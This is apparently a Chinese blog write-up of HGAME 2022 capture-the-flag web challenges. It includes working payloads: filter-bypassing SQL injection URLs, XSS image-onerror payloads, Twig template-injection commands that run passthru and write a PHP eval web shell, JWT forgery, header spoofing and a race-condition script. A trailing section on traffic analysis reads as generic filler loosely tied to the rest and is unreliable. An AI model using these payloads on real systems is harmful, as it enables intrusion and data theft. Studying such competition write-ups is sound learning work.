HGAME2022 Web WP

Week1

蛛蛛…嘿嘿♥我的蛛蛛

页面内有很多点我试试的按钮,只有一个是真的,能前往下一关,写个脚本跑一下

import requests
from lxml import etree

static_url = 'https://hgame-spider.vidar.club/f90e409178'
url = 'https://hgame-spider.vidar.club/f90e409178'
while True:
    r = requests.get(url)
    page_text = r.text
    tree = etree.HTML(page_text)
    a_list = tree.xpath('//a/@href')
    for a in a_list:
        if 'key' in a:
            url = static_url + a
            print(url)

打开最后一个url,在响应头中找到flag请添加图片描述

Tetris plus

游戏题(我都玩到3000分了,不给flag…)
f12查看源码,在checking.js中,有一大段的字符串
请添加图片描述
复制到浏览器控制台即可得到flag

Fujiwara Tofu Shop

知识点是请求头,像是在做脑筋急转弯。

想成为车神,你需要先去一趟秋名山(qiumingshan.net)对应的是Referer头
只有借助AE86才能拿到车神通行证(Hachi-Roku)对应的是User-Agent
86的副驾上应该放一盒树莓(Raspberry)味的曲奇,曲奇的英文是cookie,在burp中可以看到flavor被赋值为Strawberry,在Cookie中改为树莓就OK了
请添加图片描述
汽油都不加,还想去秋名山?请加满至100 可以看到响应头中有一个Gasoline的字段,值还是0,正好对应,改为100即可;
请添加图片描述
哪怕成了车神,也得让请求从本地发出来才能拿到 flag ! 测试后发现X-Forwarded-For被过滤了,这里用X-Real-Ip代替

请求数据包:

GET / HTTP/1.1
Host: shop.summ3r.top
Upgrade-Insecure-Requests: 1
User-Agent: Hachi-Roku
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: _ga=GA1.2.1804431598.1642747911; _gid=GA1.2.456031021.1642747912; __gads=ID=be8cc058554dbdc0-2276b9611cd000ab:T=1642747911:RT=1642747911:S=ALNI_MaQs35WcxJqwVO4UNwM_9mbckGBUw; flavor=Raspberry
Referer: qiumingshan.net
Connection: close
Gasoline: 100
X-Real-Ip: 127.0.0.1

easy_auth

题目中说了管理员是admin,且不需要爆破密码。注册一个用户名为shyshy的账号,登录后抓包,发现http://whatadminisdoingwhat.mjclouds.com/v1/todo/list接口中有一个token的字段,那么这题就是token伪造了。
将token在jwt.io解码请添加图片描述
将ID改为1,UserName改为admin,就可以去提交了。

请求的数据包:

GET /v1/todo/list HTTP/1.1
Host: whatadminisdoingwhat.mjclouds.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJJRCI6MSwiVXNlck5hbWUiOiJhZG1pbiIsIlBob25lIjoiIiwiRW1haWwiOiIiLCJleHAiOjE2NDI4ODU2NTMsImlzcyI6Ik1KY2xvdWRzIn0.kTrNctpovamMaipqqrDTDUzc9aSMH_qFcQd6oilC8Sc
Accept: */*
Origin: http://adminisdoingwhat.mjclouds.com
Referer: http://adminisdoingwhat.mjclouds.com/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

Week2

webpack-engine

直接百度,看到一篇文章:webpack带来的安全风险,里面说到webpack如果没有正确配置,就会导致vue源码泄漏,并给出一张浏览器控制台的截图,这题也是同理,f12打开控制台,发现flag存储的文件
请添加图片描述

YUdkaGJXVjdSREJ1ZEY5bU1ISTVaWFJmTWw5RGJFOXpNMTlUTUhWeVkyVmZiVUJ3ZlE9PQo=

两次base64解码得到flag

hgame{D0nt_f0r9et_2_ClOs3_S0urce_m@p}

Pokemon

打开url后看到hint:index.php?id=1,那么考的是sql注入。刚开始试了半天没效果,后来发现注入点在报错页面上

http://121.43.141.153:60056/error.php?code=404

fuzz了一下,过滤了or|and|select|=|/**/|空格|from|where|union,但是可以用双写绕过,等于号用like替代。

库名:pokemon

表名:fllllllllaaaaaag

http://121.43.141.153:60056/error.php?code=-404/*/**/*/ununionion/*/**/*/selselectect/*/**/*/1,group_concat(table_name)/*/**/*/frofromm/*/**/*/infoorrmation_schema.tables/*/**/*/whwhereere/*/**/*/table_schema/*/**/*/like/*/**/*/database()#

列名:flag

http://121.43.141.153:60056/error.php?code=-404/*/**/*/ununionion/*/**/*/selselectect/*/**/*/1,group_concat(column_name)/*/**/*/frofromm/*/**/*/infoorrmation_schema.columns/*/**/*/whwhereere/*/**/*/table_name/*/**/*/like/*/**/*/'fllllllllaaaaaag'#

flag:hgame{C0n9r@tul4tiOn*Y0u$4r3_sq1_M4ST3R#}

http://121.43.141.153:60056/error.php?code=-404/*/**/*/ununionion/*/**/*/selselectect/*/**/*/1,group_concat(flag)/*/**/*/frofromm/*/**/*/fllllllllaaaaaag#

At0m的留言板

先看它给的模版网页,里面有js代码定义了两个变量。公众号的主要功能是将用户输入的文本在网站中以留言框的形式展现出来,那么这就说明是可以执行js代码的,试着将所有变量提取到文本区。

<img src=1 onerror="document.getElementsByClassName('content')[0].innerText=Object.keys(window)">

请添加图片描述
得到所有变量,读取最后的F149_is_Here即可

<img src=1 onerror="document.getElementsByClassName('content')[0].innerText=F149_is_Here">

flag

hgame{Xs5_1s_so_int3Restin9!Var_is_0uT_of_d4te}

Week3

SecurityCenter

点击去百度后,会将url里的内容回显在网页上,试了下{{7*7}},回显49,说明存在模版注入。在源码里发现/vendor/composer/installed.json,用的是symfony框架,最后发现它的模板是Twig。
请添加图片描述

在亲兄弟的提醒下看到了这篇文章
使用他的payload

?url={{['id']|map('passthru')}}

请添加图片描述
执行命令成功,下面写🐎访问即可

?url={{{"<?php @eval($_POST['a']);?>":"/var/www/html/haha.php"}|map("file_put_contents")}}

Vidar shop demo

这题的考点应该是条件竞争吧,登录后购买flag需要10000块钱,但是我们只有9999块钱,差一块钱。点击创建订单,会在订单中出现一个待支付的订单,点击支付,系统会扣除相应的余额,并显示出删除按钮,点击删除按钮可以取消已经购买的订单。
我的做法是用多线程同时去创建flag和徽章的订单,并支付一些徽章的钱,有些徽章的订单在支付后会因为请求过快,而不扣款,然后再删除一些订单,最终余额会超过10000元,就能兑换flag

import requests
from threading import Thread
from time import sleep

create_url = 'http://f2c3c3d986.vidar-shop.mjclouds.com/api/order/create'
pay_url = 'http://f2c3c3d986.vidar-shop.mjclouds.com/api/pay/create'
list_url = 'http://f2c3c3d986.vidar-shop.mjclouds.com/api/order/list'
flag_create_url = 'http://f2c3c3d986.vidar-shop.mjclouds.com/api/pay/create'
list_data = {'uid': 444}
create_data = {'uid': 444, 'pid': 5, 'amount': 1, 'status': 1}
flag_data = {'uid': 444, 'oid': 38289, 'amount': 10000}
header = {
    'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.99 Safari/537.36',
    'Authorization': 'bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE2NDQ0NTg5NzIsImlhdCI6MTY0NDM3MjU3MiwidWlkIjo0NDR9.xyFg5gOl3AquBF9Vcs83IKRHsb7Rx_5mq0gJA1LIiKA',
    'Connection': 'keep-alive'
}


# 创建并支付徽章订单
def post_1():
    sess = requests.session()
    # 创建
    create_r = sess.post(create_url, headers=header, json=create_data)
    # 获取订单oid
    list = sess.post(list_url, headers=header, json=list_data)
    oid = list.json()[-1]['id']
    # 支付
    pay_data = {'uid': 444, 'oid': oid, 'amount': 20}
    pay_r = sess.post(pay_url, headers=header, json=pay_data)
    sleep(0.1)


def post_flag():
    sess = requests.session()
    flag_r = sess.post(flag_create_url, headers=header, json=flag_data)
    print(flag_r.text)
    sleep(0.1)


if __name__ == '__main__':
    while True:
        t1 = Thread(target=post_1)
        t1.start()
        t2 = Thread(target=post_flag)
        t2.start()

flag

hgame{851ba5dee7d5afbcacfb1c99f0ea5c5cb88a6f62e1796d4d0949061184d03fa5}
### HGAME 2022 Week1 的网络流量分析 关于 HGAME 2022 Week1 中涉及的网络流量分析相关内容,虽然官方并未提供详细的流量包文件供下载[^1],但从参赛者的经验分享来看,Week1 阶段确实包含了 Web 和 Misc 类型的题目,这些题目可能涉及到基础的网络通信协议解析以及抓包分析技能[^2]。 在网络流量分析方面,通常会使用工具如 Wireshark 或 tcpdump 来捕获和分析 HTTP/HTTPS 请求、DNS 查询或其他类型的网络交互行为。如果比赛中存在需要通过流量分析解密 Flag 的场景,则可以推测其设计思路如下: #### 工具推荐 以下是常用的网络数据分析工具及其功能概述: - **Wireshark**: 图形化界面支持过滤特定协议(HTTP, DNS 等),并能追踪 TCP 流量。 - **tcpdump**: 命令行方式快速获取指定条件下的数据包日志。 #### 技术要点 对于潜在的流量分析挑战,以下几点可能是关键的技术方向: 1. 使用 `tshark` 提取 HTTP POST 请求中的负载字段,查找隐藏的信息片段。 ```bash tshark -r capture.pcapng -Y 'http.request.method == "POST"' -T fields -e data.text ``` 2. 如果加密机制被引入到流量中,尝试识别使用的算法并通过已知明文攻击恢复原始消息。 尽管目前没有具体提及 HGAME 2022 Week1 是否包含专门针对流量分析的任务,但基于 CTF 比赛的一般模式,上述方法论具有较高的适用价值。 ```python import re def extract_payloads(pcap_file_path): """模拟提取PCAP文件内的有效载荷""" with open(pcap_file_path, 'rb') as f: content = f.read() payloads = [] pattern = rb'(?<=Payload: ).*?(?=\n\n)' matches = re.findall(pattern, content) for match in matches: decoded_match = match.decode('utf-8', errors='ignore') payloads.append(decoded_match.strip()) return payloads ```
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Lum1n0us

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值